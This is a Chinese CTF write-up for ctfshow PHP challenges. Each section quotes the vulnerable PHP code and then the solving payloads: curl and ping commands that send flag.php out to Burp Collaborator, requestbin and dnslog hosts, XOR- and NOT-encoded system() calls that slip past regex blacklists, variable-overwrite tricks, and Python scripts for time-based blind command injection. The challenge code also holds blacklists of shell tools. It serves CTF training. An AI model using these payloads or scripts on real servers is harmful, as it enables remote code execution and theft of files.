<?php #error_reporting(0); include("flag.php"); highlight_file(__FILE__); if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code']; if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
if绕过
if(false && false || ture)
payload
/admin/index.php?code=admin&username=admin&password=
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
分析一下代码发现仿佛是只能读取前面6个字符去执行命令,禁止了命令执行的函数,并且没有写入权限。可能利用就比较可能
但是,如果我们传递的参数就是$F
本身,会不会发生变量覆盖?
那我们来一个简单的测试,
get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的RCE题目了
然后就是利用curl去带出flag.phpcurl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
payload:
#其中-F 为带文件的形式发送post请求 #xx是上传文件的name值,flag.php就是上传的文件 ?F=`$F `;curl -X POST -F xx=@flag.php http://xxx
执行payload
?F=`$F `;curl -X POST -F xx=@flag.php http://rrm5fjnnoqnekm19gqkc8q8dl4rvfk.burpcollaborator.net
之后就会在burp上收到 flag.php的内容,
其他方法:
利用网站 http://requestbin.net
?F=`$F `;curl http://requestbin.net/r/1g8bsc01?p=`cat flag.php|grep flag`
参照:
https://blog.csdn.net/qq_46091464/article/details/109095382
<?php highlight_file(__FILE__); $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
parse_str() 函数把查询字符串解析到变量中。
extract() 函数从数组中将变量导入到当前的符号表。
POST数组的覆盖
可以看到以GET 传参_POST[a]
相当于post传参 a 效果。
构造paylaod
?_POST[key1]=36d&_POST[key2]=36d
<?php error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
在133的基础上增加了curl和其他一些字符的过滤,
可以写文件。
?F=`$F `;nl flag*>1.txt
也可以
?F=`$F`; cp flag.php 2.txt ?F=`$F`; mv flag.php 3.txt
http://dnslog.cn/
申请一个域名。但是这种方法不行,可能域名前缀不行吧。
payload:F=`$F `;ping `awk '/flag/' flag.php`.1mlbcw.dnslog.cn
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
把重定向符、mv、cp禁用了。
linux中tee
命令·。
tee命令主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
tee [OPTION]... [FILE]...
构造payload:
?c=ls /|tee 1 ?c=awk '/f/' /f149_15_h4r3|tee 1
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } call_user_func($_POST['ctfshow']);
call_user_func — 把第一个参数作为回调函数调用
第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
直接调用getFlag
函数
ctfshow=ctfshow::getFlag
<?php error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
这下子把 :
冒号给禁用了。
用call_user_func()来调用一个类里面的方法
call_user_func(array($classname, 'say_hello')); 这时候会调用 classname中的 say_hello方法
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
<?php error_reporting(0); function check($x){ if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ die('too young too simple sometimes naive!'); } } if(isset($_GET['c'])){ $c=$_GET['c']; check($c); exec($c); } else{ highlight_file(__FILE__); } ?>
试了,没有写权限没所以不能写入文件了。
也没有回显。
师傅们的脚本。
猜测文件名:
import requests import time import string str = string.ascii_letters + string.digits result = "" for i in range(1, 5): key = 0 for j in range(1, 15): if key == 1: break for n in str: payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n) # print(payload) url = "http://5c76069b-da3c-40a2-ac52-718a1c84fe56.chall.ctf.show/?c=" + payload try: requests.get(url, timeout=(2.5, 2.5)) except: result = result + n print(result) break if n == '9': key = 1 result += " "
得到flag所在文件 f149_15_h4r3,接着盲注文件内容
import requests import time import string str=string.digits+string.ascii_lowercase+"-" result="" key=0 for j in range(1,45): print(j) if key==1: break for n in str: payload="if [ `cat /f149_15_h4r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n) #print(payload) url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload try: requests.get(url,timeout=(2.5,2.5)) except: result=result+n print(result) break
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
intval($code) == 'ctfshow'
弱比较,所以只需要将 $code 等于字母或者 0 即可。
f1=md5&f2=phpinfo f1=md5&f2=md5 f1=sha1&f2=getcwd
<?php #error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
/^\W+$/
作用是匹配非数字字母下划线的字符.
php中 1-phpinfo();
可以执行phpinfo()命令的。
取反构造
payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)- # system(ls) ?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)- # system('cat flag.php')
取反脚本
<?php error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
直接
?v1=0 ?v1=0x0
<?php highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
过滤了加减我们还可以用乘除,过滤了~我们可以用异或构造命令。
异或脚本:
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os def action(arg): s1="" s2="" for i in arg: f=open("xor_rce.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"^\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";" print(param)
payload:
?v1=1&v2=1&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%00"^"%60%60%60%20%60%2a")*
<?php highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } } function check($str){ return strlen($str)===1?true:false; }
\W 匹配非字母、数字、下划线。等价于 '[^A-Za-z0-9_]'。
直接构造 paylaod:
# system(ls) ?v1=1&v3=1&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%0c%13"^"%60%60") # system('cat f*') ?v1=1&v3=1&v2=-("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%00"^"%60%60%60%20%60%2a")
<?php highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
把- * ^ "
取反绕过。
取反脚本:
<?php //在命令行中运行 /*author yu22x*/ fwrite(STDOUT,'[+]your function: '); $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: '); $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
构造system(ls)
(~%8C%86%8C%8B%9A%92)(~%93%8C)
但是不知道如何使它执行,那么fuzz一波。
结果 ? :
也就是 return 1?system(ls):1
payload:
?v1=1&v2=2&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D5):
<?php highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
接着把 三目运算过滤了。
利用等号和位运算符
绕过。
payload:
?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|| ?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
<?php highlight_file(__FILE__); if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); } }
上述内容就是php中ctfshow的特性是什么,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注亿速云行业资讯频道。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。